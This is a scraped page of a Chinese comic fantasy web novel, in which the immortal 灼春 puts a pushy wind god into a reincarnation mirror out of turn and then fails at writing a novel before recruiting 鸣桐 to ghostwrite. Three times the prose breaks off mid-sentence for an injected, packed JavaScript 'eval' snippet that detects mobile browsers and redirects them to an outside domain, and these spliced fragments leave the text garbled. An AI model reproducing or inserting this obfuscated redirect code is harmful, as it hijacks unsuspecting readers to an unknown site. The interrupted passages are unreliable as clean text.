万一……万一真能实现这个目标，那所有仙者都不用担心寂心期渡劫了，而且司劫的工作量也会锐减，说不定到最后就只剩下维护灵盘的任务。到时候…… 就算她身兼偶仙和司劫两职，也可以过上悠哉游哉的养老生活了！ 16. 夜里来风 灼春以最缜密的思维将灵盘打磨到极致、逻辑盘到底，把大大小小的可能性都考虑在内，终于在不眠不休三日后完成了目标为“无人司劫”的灵盘。 还没来得及从头试运行一遍，灼春就因为劳累过度和阶段性放松，伏在案上睡死过去。 不知昏睡多久，等她醒来，立马一激灵，当即去查看灵盘，看模板有没有纰漏，但是室内突如其来的一道指责，吓得她差点把好不容易完善好的灵盘摔了。 “偶仙大人真了不起，兼任司劫后，权力大得不得了，眼里都瞧不见别的仙者了。” 灼春抓住灵盘，小心放好，无奈地与稳坐圈椅的那人对视，顺便打了个哈欠：“小扶疏，私闯民宅是犯法的。” 那厢换右腿跷在左腿上，兰花指一转，啪的一声打开折扇遮住自己下半张脸，睥睨道：“可笑，听闻你于此为仙者司劫，那这儿还算什么私宅？” “……” 灼春摆摆手：“我懒得跟你辩——无事不登三宝殿，说吧，你找我什么事？” 小扶疏啪的一下在掌心合上折扇，扬起下巴，道：“我允许你为我司劫。” “……” 噫，这人有病啊？扇子打开又合上，啪啪啪的噪声听着舒服是咋的？扇子坏了不用花钱买啊？ 灼春果断拒绝了对方的“允许”。 灼春：“你自己允许顶什么用？预约文牒上没有你的名字，要渡劫，先预约。” 对方愤而起身，狠狠拍了一下扶手，可是顿了片刻又缓缓落座，冷哼：“我人都到你面前了，还用走那个流程吗？我要你现在就为我司劫！” “……不是姐……呃，夫，咱们不带这么胡搅蛮缠的啊。规矩是规矩，预约了还得等通知，你现在连预约都不肯，就想插队？我同意，那些老实排队等通知的仙者们也不答应啊？” 换别人，灼春早轰出去了。但是小扶疏这人……固执还能打，还不讲情面，她怕挨揍。 ——诶？她记得灾潮那会儿小扶疏和战神是同时进轮回镜渡劫的啊？给战神司劫的是她，给小扶疏司劫的是……哦！重伤暂时下火线的百捷！ 想起这事，灼春更加觉得对方没事找事。 别人是到了寂心期，没办法，不得不渡劫，小扶疏他过来凑什么热闹？不打仗了他闲得长草了？太闲了就到会里四处转转帮帮忙做做好事！净给人添麻烦！ 灼春好言相劝：“小扶疏，你前两年不是进过轮回镜了吗？寂心期没那么快到吧？咱们不浪费资源，把机会留给有需要的人好不好？” 小扶疏柳眉倒竖：“你这什么意思！？把我当小孩哄呢！？我现在就要历劫！立刻马上！否则休怪我对你不客气！” ……糟了，碰上泼皮了。 灼春不得不考虑起原本轮回镜的安排。她本来打算在轮回镜试运行一遍刚更新完的灵盘模板，看能不能实现智能自转，然后再喊名单上下一位仙者过来渡劫，自己抽空写书…… 灵盘试运行的时候小扶疏可以插入哦？不影响原本的计划不说，还能真实反应灵盘自运行的问题！ 嘿嘿……这可是你自己送上门的…… 灼春按捺住内心的窃喜，装作很无奈的样子让小扶疏进轮回镜，连询问他渡劫的意愿、偏好、目标的程序都没有。 问这干啥呢？反正他只能选择自己准备好的灵盘～ 灼春收拾好桌上的杂物，拿着一块灵盘靠近轮回镜，但奇怪的是，她做完这一切后，以速度闻名的小扶疏还在原地踏步——准确来说，只走了两步。 “……你干啥呢还不过来？” “急什么急！心急吃不了热豆腐，事缓则圆！” 小扶疏扶着腰胯一小步一顿地往前挪，仿佛瘫痪在床多年的患者复健，灼春看着气闷。 “姐……夫，你胯骨轴子碎了啊？” “你胯骨轴子才碎了呢！我这是……被龙缨训练过度而劳损了……” 灼春幸灾乐祸：“嚯，还有这事呢！你以前不是挺狂的，说不管什么训练都跟得上么？吹牛吹破了吧哈哈哈哈！” 小扶疏狠狠削她一眼，愤恨道：“还不是百捷的错！要不是她，我不可能这么……落魄！” “喂！自己菜就不要拖别人当借口啦！是我家百捷把你练残的？要怪也是怪战神，和百捷有什么关系！嘁，惯会推卸责任的……” “就！是！她！”小扶疏气得浑身打哆嗦，“要不是之前她不给我好好司劫，我的实力能大打折扣吗！？灾潮期间我能上不了前线吗！？” 提起这个他就来气。 当初为了应对灾潮，掌舵甄选了五个高战力的仙者一同渡劫，希望能在有限的时间内提升力量。而他，风神扶疏，赫然在列！ 本来百捷也在名单内，可是她四肢发达头脑简单的，愣是在渡劫前上战场把自己弄残了，不得不退居二线，成为替人司劫的人。很不幸，百捷司劫的对象就是他。 百捷那大脑空空的肌肉怪！肌肉都灌到脑子里了吧想的尽是一些没难度的无聊劫数！害他尽管在镜中历练了很久，可质量仍旧不过关！等他从轮回镜出来，不说提升，实力打了对折不止！！ 而且他出来后才发现，现实世界的时间才过了一两个时辰，可想而知百捷那厮有多敷衍！他严重怀疑那家伙就是为了赶紧上战场，所以才马虎司劫！ 他为了脸面瞒着这事没说，结果被逼上战场，一天都没撑住就被送到妙回堂救命了！ 虽然没有人当面说什么，但他知道，所有人都在嘲笑他不中用！ 谁的错？那肌肉怪的！！ 好在战神击退了灾潮，他以为自己的丢脸事能随风消逝——但是没有！！ 实力大涨的战神把斗武殿的训练门槛升到了天上！他憋着一股气硬跟——结果把自己练废了，好些日子都下不了地。 为了不让黑历史的数量增加，他刚能走动就来了灼春这里——必须重新渡劫！必须重回巅峰！他绝对不能这样丢脸下去了！ 尽管小扶疏没有把这些心理活动说出来，但灼春凭借对他和百捷的了解，捏着下巴便从其只言片语中推断出了真相—— “莫非……百捷给你司劫失误你现在身体素质很差狂不了了！？” 小扶疏黑了脸，灼春却兴奋起来。 难得啊难得！此时不逗更待何时！ 灼春叉着腰不正眼看他，一副势利小人的模样。 “那我临时通知你，我啊，不帮你司劫了，我不乐意～” “……灼春！我警告你！我就算衰弱到目前能力的一成，照样可以打趴你！” “哟哟哟还吹上了！哎，咱俩都是仙者，真要斗起来我未必比你差的哎！” —— “对不起，我错了，是我太嚣张。这是轮回镜，您请走好……” 灼春恭恭敬敬地弯腰鞠躬，再直起身时，两个硕大的乌眼青顶在脸上。 小扶疏傲气地哼了一声，扶着胯进入轮回镜。灼春一边在他身后说着“您走好”，一边搓着手解释她是为了给他动力引导他尽快接近轮回镜才说那些话的，小扶疏就是因为她才发生医学奇迹行动自如…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950206|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等小扶疏完全进入镜中，灼春立马变脸，气呼呼地与空气打了一场架，吭哧吭哧坐回椅子。 “让你嘚瑟！等着吃苦头吧！” 根据记忆中的故事，灼春写完了大纲。要开始写正文时，她突然犹豫了。 怎么知道有没有违背天道呢？万一自己写完了，给别人看的时候天道突然降罚，那她不是白写了？ 思前想后，灼春抄起纸笔装进口袋，去金钱殿找吉吾。 吉吾惊讶：“写完了？这么快？” 灼春递去一纸大纲，笑着说没有：“就写了个框架，你先看看行不行，行我再开始写。” 吉吾调侃她不会给自己埋了坑吧，灼春连连摆手否认。其实吉吾就那么随口一说，她心里清楚，自己与灼春是合作关系，都一根线上的蚂蚱，就算是为了保证日后的市场，审稿最好也要自己来。 她从第一行开始看—— 不出三息，屋内蓦地出现一线电光直扎进吉吾天灵盖，激得她噔的抬头目视前方。 灼春：“……哦豁。” 看来这样改不行，逃不过天道法眼。 嗯……但是是哪部分触发了电击呢？ “……突然觉得脑子有点疼。” 吉吾揉了揉太阳穴，正要开始看稿，灼春突然伸手挡住了稿子。 灼春：“……那个，你别默读，念出来！念出来更有感觉！” “……”吉吾眯眼，“我瞅你有诈。” 灼春：“……” 吉吾微笑：“解释一下，不然我不念，稿子我也不会看。” ……啧，聪明人真讨厌。 灼春只好解释自己现在在用大纲试探有没有脱离天道掌控，有没有做到保密性，而让吉吾念出声，就是为了知道哪里踩到雷。 交代这些时，灼春的心都枯了。 她不怕吉吾生气，就是怕吉吾趁人之危又坑钱。不，根本用不着怕，因为吉吾肯定不会放过这个宰她一笔的机会的。 吉吾：“哦，那行吧。” 说完，她就开始乖乖念大纲。 吉吾这么通情达理，灼春都愕然了。 她拦住吉吾：“你先等等——你该不会在给我埋坑吧？你不趁机坐地起价？” “听起来，你很期待我坐地起价？唉，好吧，为了让你安心，那我……” “我不是我没有别瞎说！”灼春立马弹开双手举过头顶，“您请您请！我不说了！” 吉吾配合地念大纲，念到第四行，电光又出现了。被消除短时记忆的吉吾还以为自己还没开始念，正要从头开始，稿子就被灼春夺走修改了。 吉吾在核对账务，灼春就在一边改大纲，改完了就马上交给她念，念到引来天雷的部分，又重新拿回去修改。 如此这般重复二三十遍，吉吾一边觉得头疼欲裂，一边继续配合灼春，忍着痛念稿子。 “……沈莲留下的书信烧成灰，顾禾死了。完。” 灼春愣愣地重复：“完？” 吉吾轻敲额头一脸难受：“完。” 灼春惊喜交加，开心地拍手，当即收拾东西回家搞创作。 “谢了！我一定马不停蹄把故事写完！等我的好消息吧！” “……” 吉吾没说话，她实在没多余的力气应答了。 她到底被天道劈了多少次啊？怎么脑袋疼得……只有“疼”这个字了？ 啊……她为此付出那么多，事后要是灼春写不好，赚不回相应的财富，她就…… 哼。 17. 隐藏技能 在写书前，灼春去看了眼轮回镜里的情况。 嗯，有序进行，节奏正常。 ——看我给你加点料！ 家庭富裕？想美事呢！破产！必须破产！ 亲人和睦？内斗！必须各怀鬼胎！ 靠文化跨越阶级？那就让你有识字障碍！ 靠武力改变生活？那就让你缠绵病榻！ …… 灼春坏心眼地往灵盘里哐哐砸了好多其他灵盘会出现的劫数，难度不大，就是量大，让小扶疏的生活像被蚂蚁啃一样，又疼又痒，想挠挠不着，想说又不知从何说起。单独任何一件都不算难受，但大大小小的事情堆积起来就很考验心态了。 但灼春只是欺负欺负他，没想真让人丧命，于是又根据以往仙者的平均承受力设置了灵盘的上限—— 唔……小扶疏看着厉害，万一是只纸老虎，连平均水平都到不了呢？ 灼春叹了口气，又把上限下调几个点。 兼任司劫后可操心死她了！如她一般认真谨慎的执司有几个！这样还不给放假，老大抠死了。 调整好轮回镜，灼春就一心扑在写作上。 她不吃不喝不睡，连着写了三天四夜，终于编出了将近二十万的故事，厚厚一沓手稿，放在手里沉甸甸的。 灼春对于自己的作品非常自信，于是积极地找到吉吾看稿。 吉吾快速过了一遍，看完忍不住倒吸一口冷气。 她啧啧称奇，遗憾道：“可惜了……太可惜了……你这样优秀的记账人才怎么没来我们金钱殿呢？” “嗯～——嗯？” 灼春感觉她这话不对，记账人才？哪儿看出她会记账的？ 吉吾抖落抖落手稿，指节敲击首页：“瞧瞧，多——么漂亮的流水账！能把情节跌宕起伏的大纲填补得毫——无可读性，这是一种多——么难得的天赋！几——千年都不一定出一个啊！” “……等会儿，你是觉得我写得不好？”灼春抓住重点。 吉吾目移：“不是好不好的问题……是这种表达太超前，如今的市场尚不能理解其艺术性。” “胡说！你懂什么市场！”灼春不高兴地抢回自己的大作抱在怀里，“我写得多通俗易懂！前因后果多详细！傻子都能看明白，怎么可能理解不了！” “咱们就事论事，别起内讧啊。”吉吾收起虚言，向她坦诚，“客观来说，你这二十万全是废字。百姓看故事看的是什么？是情节，是文笔，是巧妙的故事架构。你这……这么说吧，在字典和你的书之间作选择，我宁可看字典。” 灼春对她的评价嗤之以鼻。 “吉吾，我现在严重怀疑你的专业性。你真的能做好审稿、编辑的工作吗？” 吉吾：“……” 所有妈妈都盲目爱着自己的孩子，这种心情可以理解，但她们现在要合作挣钱，故盲目自信不可取，她不得不帮灼春睁开眼睛正视自己。 吉吾提议：“既然如此，不如我们找个阅文无数的专家来评判？——就百捷，同意吗？” 灼春本来还怀疑吉吾会串通，但听她推荐了自己的至交好友便立马放下了心。 “啊？让我看书？还是你写的故事？” 百捷听说是灼春写的故事略微诧异。 据她所知，灼春并没有写作的爱好和兴趣。 “哎呀，别多问，反正你就看，看完了说说感想！要真实！发自肺腑的！” 吉吾从头到尾没说话，就怕灼春会以为她跟百捷串通骗她。 她不是不知道百捷和灼春的关系，也不是不知道百捷护短的性格。但她相信，百捷的良心和自小的家教、习惯，不会让她违心地替那份手稿说话，就像相信百捷不会为了任何东西故意让自己吃败仗一样。 她为什么敢这么肯定？ 当然是因为有充分的数据啊！ 与大大咧咧的外表不同，百捷出生于书香世家，家中人个个饱读诗书、学富五车，包括百捷在内。据说就是因为家中全是读书人，太讲道理，反而被不讲道理的市井泼皮上门欺负、坑蒙拐骗，百捷一气之下弃文从武，接着便在战士道路上越走越远越走越远越走越远…… 饶是弃文从武，但百捷从小耳濡目染养成的阅读习惯从来没丢过，每月月钱不是用于打理武器，就是花在书籍上——据知情人士透露，她家的床都是书垒起来的。 百捷看书没有偏好，是书就看，但评价却很犀利，好的就夸，差的就骂，从不指鹿为马。有些书商想打质量战又不知道那些书好，就会给百捷赠书，请她评价。百捷赞不绝口的书不一定能大卖，但口碑绝对不会差。 是以，灼春的作品交给百捷评判，吉吾非常放心。甚至就算没闹分歧，把书正式投入市场前，她还是会找百捷问问想法。 在灼春的翘首以盼中，百捷读完了全书。而她果真没有辜负吉吾的期待，非常中肯地给出了评价—— “什么玩意儿写的！灼春你平常也去看看书，学学人家的文笔！你要不是我朋友，我早把这叠书摔你脸上了！呸呸呸！说它是‘书’，都拉低了‘书’的格调！” “！” 灼春，震惊了。 她一是震惊好友毫不犹豫的恶评，二是震惊原来自己写得真那么糟糕。 震惊过后，灼春接受了这个现实，抛开无谓的情绪，诚心诚意地问她哪里写得不好，读完之后有什么感受。 百捷撇嘴：“说不上来，反正看着很无聊，一点意思都没有，看了两页就想睡觉，感觉在浪费时间。” “……” 那也就是说都很差，完全没有修改的必要。 吉吾不愿意打击商业伙伴的工作热情，上前打圆场：“灼春的文笔是差了点，毕竟第一次接触这个，可以理解。所以她进步空间很大呀！——百捷，你再想想有哪些优点，我们争取日后扬长避短……” “你这不为难人嘛！” 百捷苦恼地呲牙回想，终于想到了一个可以夸的地方。 “哦有的！我看完整本书再去回忆故事，撇开文笔和构架，故事本身还是很有意思的！” 吉吾连忙摇晃已经灰暗了的灼春，鼓励她：“听到了吗？百捷说你的故事很好！咱们还有救！我帮你找老师，你练好文笔重新写！努力一下我们还是可以的！打磨越久的故事越经典，不要怕浪费时间！” 百捷插嘴：“故事还行，但灼春不行。放弃吧，文笔可以临时抱佛脚，文学思维不行。写故事什么都可以不要，甚至连精彩的剧情都可以不要，但是必须有文学思维。文学思维是日积月累形成的过程，是一种对文学的细微感知。灼春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950207|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小就没这个感觉，学不会的。” 灼春闻言忍不住对自己这个好友破口大骂。 “……有你这样刻薄自己朋友的嘛！？看了那么多书有什么用！连说话婉转点都不会吗！？” 百捷摊手：“我也没文学天赋啊。看过的书就像貔貅吃过的饭，没法化为己用。不然你以为我娘为啥放弃逼我当文豪？” 吉吾挡在中间，防止两人在她的地盘打起来殃及池鱼。 吉吾：“行不行的试了再说！我们最不缺的就是时间！我这就给灼春请文学老师……” “！！” 灼春：“等会！你请老师的钱该不会算在我头上吧！？” “没事儿，老师免费！” 百捷想瞅瞅她们要干啥，于是留了下来。 吉吾给人传了信，片刻后，鸣桐领着一群五彩斑斓的飞鸟走进了金钱殿。 “都在呢？”鸣桐好奇问，“吉吾，你说谁想拜我为师？” 灼春：“……” 她不由得腹诽，她还说吉吾突然转性不坑钱了，原来这家伙说的“老师免费”是这么个免费法啊…… 她戳戳吉吾，嘀咕道：“你不要为了免费就不顾质量啊！” “我有数。放心，鸣桐质量高得很。” “对鸣桐我比你熟！她哪会写书啊，我就没见过她在写药方以外的时候动过笔！” “狭隘了不是？”吉吾耐心解释，“你也知道鸣桐爱凑热闹，乐于分享信息。要让别人对自己传的消息感兴趣，必须懂得分主次，还得讲得活泼生动，吸引对方听下去。这点和写书异曲同工。” “可……说跟写不一样！说得好不代表写得好啊！” “我们主打通俗文学，写书就是把你想说的写下来，有什么不一样？” “……” 吉吾知道灼春不服，就想让她亲眼见识一番。正好百捷也在，何不让她俩来场比试？说得再多都不如灼春亲身体验一次，人教人教不会，事教人一次就会。 这么想着，吉吾便和还不清楚状况的鸣桐讲解了现在的情况，表示想要请她为灼春上文学课。 鸣桐听了还挺高兴：“你要帮灼春出书啊？哎呀我都不知道灼春还有隐藏技能哪，真了不起！只要能帮上忙，我当然愿意呀！” 吉吾又说：“但是灼春又不大放心，想你展示一下——正好百捷在，能帮我们了解你的实力。” 鸣桐没有意见——但是她的鸟朋友们见不得她受这种委屈，纷纷飞向灼春叨她的头发。灼春护着脑袋发出尖锐爆鸣，百捷连忙过去在她头顶挥胳膊驱鸟——鸣桐愉快地应下，问要怎么展示。 吉吾说：“我说一个情节，然后你在框架上填充血肉，使它变成一个完整的片段——可以吗？” 鸣桐：“没问题。” 吉吾：“啊对，灼春也会一起。这样你就可以知道她的水平，可以因材施教。” 吉吾扭头喊灼春，只看了脑袋被鸟群挡得严严实实的两具身体。鸣桐才反应过来自己的鸟友们在做什么，连忙训斥召回。 “……不可以恃强凌弱！武力解决不了问题，我们要学会沟通！我们都是热爱和平的好宝宝对不对？……” 正在整理啄乱的头发的某偶仙动作一顿。 嗯？这话是不是哪里不对？ 18. 一转攻势 “‘小红在路上看见小白，和她打招呼。小白问她她们认识吗，小红说不好意思认错了’。” 吉吾给出题目，鸣桐捏着下巴点点头，立马着手写。与此同时，灼春抄起纸笔目光炯炯地逼问吉吾相关细节，比如小红小白的家庭背景以往经历、小红小白是否认识、她们所在的时代背景如何、她们生活的地方有什么特别的风俗习惯…… 吉吾心想她就随便说了个情节，哪里知道那么多。便称这些不要紧，让灼春自由发挥。 可是灼春哪儿会啊！ 写书她都是照搬轮回镜的故事，改编也是按照吉吾举例的内容等量替换。 不得已，吉吾只好揪着头发和她一道编故事、梳逻辑。 当鸣桐下笔如有神助，唰唰唰写完一篇，边上那两人刚圆好逻辑开始写。 鸣桐看她们那么认真，对自己写的内容产生了怀疑。 怎么办？她以为只是随便写写就行了，没想到她们这么严谨…… 百捷在边上没事干抱臂许久，无聊地打了一个又一个哈欠。见鸣桐好似写完了，闲着也是闲着，便过去讨了文提前看。甫一看完，百捷沉默了。 鸣桐紧张问：“不合你的心意吗？” 百捷猛地一个熊抱，惊飞了鸣桐附近一圈鸟。 “谢谢，谢谢……”百捷热泪盈眶，“感谢你拯救了我的眼睛！” “……嗯？” 不多时，灼春也完成了自己的作品，吉吾便让二人依次朗读自己的文章，鸣桐先完成先读。 鸣桐：“小红兴奋地跑出家，果然在路上看见了熟悉的背影。她忍不住扬臂高呼对方的名字，按捺不住内心的激动背后拥抱——但怀中的背影僵了一下，与她火一样的情绪比起来，仿佛是被石子惊动的湖面。 “小红意识到什么，松开手，缓步后退半步。 “对方慢慢转过身子，熟悉的面容上是令人心碎的困惑。 “‘你是不是认错人了？’她说。 “小红一怔，蓦地一笑。 “‘是。不好意思，我认错人了。’ “小白微笑着摇摇头，原谅了这个陌生人的失态。 “两人擦肩而过，小红仅走了一步却忍不住回头。 “‘哎，吃完螃蟹别喝凉水，小心又拉肚子。’ “‘你……’ “‘嗯，我们不认识。再见。’” ——哦豁，稳赢。 灼春听完，觉得自己必不可能输。 正想和百捷交流，忽见百捷眼睛泪光闪闪，有所动容的模样。 灼春：“……喂，你干嘛？有可哭的地方吗？” 百捷吸了吸鼻子，咽下哭腔：“你看不出来吗？——春呐，我一直以为你只是文学素养不高，现在看来，是你智商比较低……哎你跟我透个底，你是不是有阅读障碍啊？” “百！捷！！你是不是想气死我，然后就没人知道你的黑历史了！我告诉你，你要再这样我就拿着大喇叭到处说你的过去！臊不死你！” 百捷莫名其妙：“我又哪儿招你了？我们不是在友好地交流吗？” “咳咳！”吉吾打断了二人的友好交流，催促灼春念自己的文章。 灼春清了清喉咙，开始声情并茂、抑扬顿挫地朗诵——她想过了，一定是鸣桐念的时候带了情绪，所以比较抒情，那么她也要在感情上烘托到位，气氛分不能输！ “小红是集市附近唯一一家包子店的老板。因为后天是庙会，所以包子卖得特别好。因为包子卖得特别好，所以肉包子卖断了货，她需要去屠户家买肉。于是她前一天晚上和屠户小蓝商量好，让她给自己留十斤半肥半瘦的猪肉，今天去取。到了今天，小红出了家门，往小蓝的肉摊走。走到三分之一的时候，看见路上有个穿蓝色衣服头上绑米色头巾的人。小红想起小蓝平常就穿成这样，而且大致对比了眼前这人和自己记忆里小蓝的体型，觉得差不多。于是走过去和她打招呼。那人转过头，说自己不叫小蓝，叫小白。小红看见她的正脸，果然和小蓝长得不一样，就说自己认错了。然后小红继续往前走，在小蓝的肉铺里拿到了十斤猪肉。” 灼春念完，骄傲地扬起头。 什么叫有因有果，逻辑合理！鸣桐那样写的，不清不楚，完全不知道发生了什么，让人如坠云雾，怎么可能比自己好！ 红花需要绿叶配，好文章也应如此。 之前那是没有比较，所以别人看不出她写得多好，但现在有了鸣桐的对比，这下总该明白她写得多通顺了吧！ 吉吾：“……”真不敢相信自己帮她想了那么多，最后得到的是这…… 百捷：“……”真不敢相信自己刚净化过的脑子又被泼了一瓢污水…… 鸣桐：“……”真不敢相信灼春的起点这么低…… 四周一片寂静，灼春挑眉：“怎么说不出话了？评价一下嘛！我很谦虚的，不管你们怎么夸我我都不会骄傲的——来吧，尽情赞美我吧！” 百捷扭头看向吉吾：“非得在一棵树上吊死吗？你换鸣桐合作不行吗？非得给自己找难度吗？” 灼春拉下脸：“喂！” 吉吾摸脸，尴尬笑笑：“我之前看她写的大纲觉得还行，没想到问题这么严重啊……灼春在我这欠了不少钱，不跟她合作我怎么弥补亏……” 灼春黑了脸：“喂！！” 吉吾一顿，看向鸣桐，深情地牵起她的双手：“我亲爱的同僚，你愿意接受给你的大纲，不论工钱多少，将它扩写成完整的故事，让我们合作共赢垄断小说市场吗？” 百捷在边上一边拍手一边有节奏地喊“说愿意！说愿意！” 气氛烘托到位，鸣桐下意识地就回复了了“我愿意”，直到灼春气呼呼地过来分开她俩，她才意识到自己刚才承诺了什么。 ……咦？她刚刚中邪了？ 灼春提高语调指责吉吾的见异思迁。 “不是说好带我挣钱的嘛！？你怎么可以抛弃糟糠！我们可是原配啊！我跟着你辛辛苦苦改了那么多次大纲，跟你一起钻天道漏洞，你就这样一脚把我踹开找新人吗！？我们签了合同，是受天道保护的！有证明的！你再这样我就要闹了！我真的会闹！我已经在闹了！” 灼春偏头，痛心疾首地告诫鸣桐：“你不要信她！这人没到手前甜言蜜语，到了手就弃如敝履！她今天可以抛弃我，日后也可以抛弃你……” 吉吾：“我们三个可以一起合作嘛。你出点子，鸣桐写，我负责把成品转换成财富。各司其职，各尽其用，你不也能省点力吗？” “……抛、抛弃是以后的事。天下无不散的宴席，无论故事如何结束，至少我们曾经拥有。”灼春怔了怔，立刻调转话锋，乐呵呵地握住呆愣的鸣桐的双手，“让我们携手并进，轰轰烈烈地赚一笔贼辉煌的钱！” “呃……好的？” 百捷默不作声地看完全程，只恨手里缺一把瓜子儿。 春的变脸技术可比话本好看。 尘埃落定，百捷伸个懒腰继续自己的巡逻任务。鸣桐被俩大忽悠哄着签下合同，接着吉吾就委婉地将几人“送”出金钱殿。 殿门外，灼春将故事大纲交给鸣桐。 自己的工作被分担，只觉得一身轻松。她正要回家，鸣桐忽然叫住她。 灼春：“嗯？大纲有哪里看不明白的吗？” 鸣桐摇摇头：“我是想问你，要不要喊上小麻一起吃个饭。” “怎么了这么突然？”灼春意外过后，心悬了起来，声音颤抖，“小麻要辞职不干了？我不是把工资发了吗，为什么啊……” “没有没有！”鸣桐连忙解释，“是资具考的笔试结束了！——我看了排名，小麻排在前三，如果没有意外，后面几项测试只要平平过，进相睦会手拿把掐的。我想，你作为她的伯乐，是不是应该鼓励一下？万一她真进来了……别因为同事感情淡漠，去别的关系更温暖的部门了。” 灼春：“！！” 她想起来了，还有这事儿来着！ “鸣桐！我的好姐妹！没有你我可怎么活啊！” 在情理所兢兢业业工作的麻惠良，突然收到暌违已久的上司的邀请，邀请她次日晚上到多味楼吃晚饭。 当天晚上，她战战兢兢地提前半个时辰踏进多味楼，但是一进去就懵了——光是一楼大厅，就有十几张大圆桌，五十几张小方桌；在外头看不出，进来了才发现居然层层加高，还有六层！她从来没来过这里，不知道里面别有一番天地，一下子慌了神，在原地局促不安，也不懂该怎么找到灼春预定的地方。 不敢问人，也不知道怎么找。 于是她退出了酒楼，甚至退到了酒楼外的巷子里，扒着墙默默观察着进多味楼的人。 还好她来得早，偶仙老师大概没到。她只要在这里等着，等到偶仙老师出现，然后自己装作刚到的样子过去“巧遇”就行了…… 但是她忘了，灼春虽然不常用法术，但她毕竟是个仙者，可以选择不走路，用法术短距离瞬间传送到目的地。这天恰碰上灼春灵台法力充盈，她懒得走，就直接从家传送到酒楼了。 于是时间快到了，在二楼包间里久等麻惠良不来的灼春给她发送了传音阵。小麻手忙脚乱地搭上话，才结结巴巴地说自己不知道地点。于是灼春跑到酒楼外找到她，把她领回了包厢。 麻惠良尴尬入座，才发现除了自己和偶仙，鸣桐老师也在。 灼春清了清喉咙：“这个……我请客，咱们随便吃吃，不要太约束！小麻，鸣桐你认识的，虽然不是咱们部门的，但是和我们部门关系特别好！我是妈妈，她就是爸爸！你有什么事找不到我，也可以直接和她讲！” 麻惠良点头，心里却在想，偶仙恐怕说错了，鸣桐老师更像妈妈，偶仙才像爸爸。自从她被偶仙喊回去帮忙，就再没见过她。反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灼春若无其事地收回手，讪讪笑着：“哪里哪里，客气客气，都是我分内之事……” 待堂官关门离开，灼春猛地扯下一只鸡腿，一边品味，一边奇怪地问鸣桐老板的小兄弟是哪个。 灼春奇怪：“我帮着司劫的人个个讨厌我，怎么可能还会送我烤鸡吃？——莫非鸡里有毒！！” “在食物里下毒？毒不死你，还倒了名声，人家以后不开店了？” 灼春恍然大悟，尝完觉得味道不错，便立马撕下一块鸡屁股，装进口袋，说要带回去给百捷尝尝。 鸣桐回忆着，说道，“我想起来了，小扶疏和多味楼老板颇有渊源，堂官说的小兄弟应该是说他。——奇怪，小扶疏前两年不是百捷帮着渡过劫了吗？嘶，没听说他在你这预约了呀……” 得知是小扶疏的缘故，灼春心安理得地吃起了鸡腿，顺嘴就把小扶疏半夜找自己插队进轮回镜渡劫的事给说了。 鸣桐皱眉：“这不合程序啊……你小心点别说漏嘴了，要是被掌舵她们知道，罚钱不算，兴许还要体罚你呢！” 灼春吃得津津有味，不以为意：“不至于吧，我是被胁迫的没办法，而且这本来就是我加班给他渡劫的，不影响名单里的仙者渡劫。” 鸣桐：“但是会里的管理条例不管这些啊。” 麻惠良小声补充：“考试的时候考到过相睦会执司管理条例，里头确实有一条，说这种情况算滥用公权，要罚钱、没收一年假期、在慎刑殿服劳役七天……” 灼春差点没被鸡肉噎死，当即瞪圆了眼：“不是吧这么严重？” 鸣桐：“这事可严重可轻微的，全看同僚们什么态度。但是这段时日，被你司劫过的仙者们怨气不小，个个等着揪你的错处，所以万一这事捅出来……你当初也参加过资具考，应该知道会怎样吧？” “嗐！我考试那都几百年前的事了，考过就忘谁还能记到现在！” 灼春越吃越心慌，拜托对面的两人千万把嘴把住了别泄露出去，否则她就要倒大霉。 麻惠良嘟囔：“酒楼老板也知道了，堂官都知情，我们嘴严没用啊……” 灼春：“！！” 灼春：“我这就回去把那小子弄出来！大家装无事发生哈！” 灼春拔腿就走，临走前还招呼两人不要急慢慢吃，顺便把自己付钱的多味卡交给了鸣桐，然后她施法瞬移回家了。 小麻盯着那张多味卡，好奇问那是什么。 鸣桐解释，因为会里经常发放多味楼的代金券作为奖励，大家担心代金券轻薄容易弄丢，便和多味楼的老板打了商量，每人定制一张多味卡，把代金券的钱都充进去用。 鸣桐挥着手里的卡，含笑说道：“你上司的卡现在在咱们的手里，想花多少我们说了算，可劲儿吃，别给她省。” 19. 联合出品 灼春想着，距离小扶疏进轮回镜也有好些日子了，按照灵盘的设定，现在应该过了九、十年，尽管现在让他出来有点早，但积累的劫数应该差不多，顶多把他弄死的时候再凄苦些，等他出来至少也有百捷司劫前的实力。 然而当她查看完轮回镜，她发现自己错了。 小扶疏，斗武殿风神，著名嘴贱犟驴，在相睦会“最想打一顿”榜上与凤脊并列第一。 这样扭曲的人格，进入轮回镜后行为根本不受灵盘预料，譬如—— 父亲被弹劾，家产被抄，小扶疏不但不愤懑，还把母亲偷偷藏起来的财产主动上交，并且站在朝廷的道德高地对全家人指指点点。 